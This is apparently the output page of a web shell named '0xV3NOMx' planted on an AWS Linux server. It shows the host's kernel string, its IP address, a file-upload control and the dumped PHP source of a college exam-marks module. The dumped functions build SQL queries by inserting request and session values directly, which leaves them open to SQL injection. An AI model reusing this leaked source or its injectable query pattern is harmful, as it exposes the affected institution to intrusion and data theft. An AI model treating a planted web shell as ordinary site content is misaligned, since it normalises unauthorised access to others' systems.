0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.143.241.205


Current Path : /var/www/oasis/src/
Upload File :
Current File : /var/www/oasis/src/copoMarksList.php

<?php
function getExamnoForCOPOMarksList($aobj_context){
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$degree = $aobj_context->mobj_data["degree"];
	$query=" SELECT fexamname,fexamno 
	         FROM degree 
	         WHERE fdegree = '{$degree}' GROUP BY fexamno";
	$result = $aobj_context->mobj_db->GetAll($query);	
	if($result){
		echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); 
	}else{
		$data = 'Fail to load degree';
		echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); 
	} 	 
}
function getSubjectsForCOPOMraksList($aobj_context){
	$degree = $aobj_context->mobj_data["degree"];
	$examno = $aobj_context->mobj_data["examno"];
	$collcode = $_SESSION['collcode'];

	$query="  SELECT DISTINCT s.fsubname,CONCAT(s.fsubcode)as fsubcode FROM degree d INNER JOIN subject s ON 
	          d.fdegree=s.fdegree AND d.fexamno=s.fexamno
			  INNER JOIN colldeg c ON c.fdegree=d.fdegree
			  WHERE d.fdegree = '{$degree}' AND d.fexamno='{$examno}' AND c.fcollcode='{$collcode}'";
	$result = $aobj_context->mobj_db->GetAll($query);
	if($result){
		echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); 
	}else{
		$data = 'Fail to load degree';
		echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); 
	} 
}
?>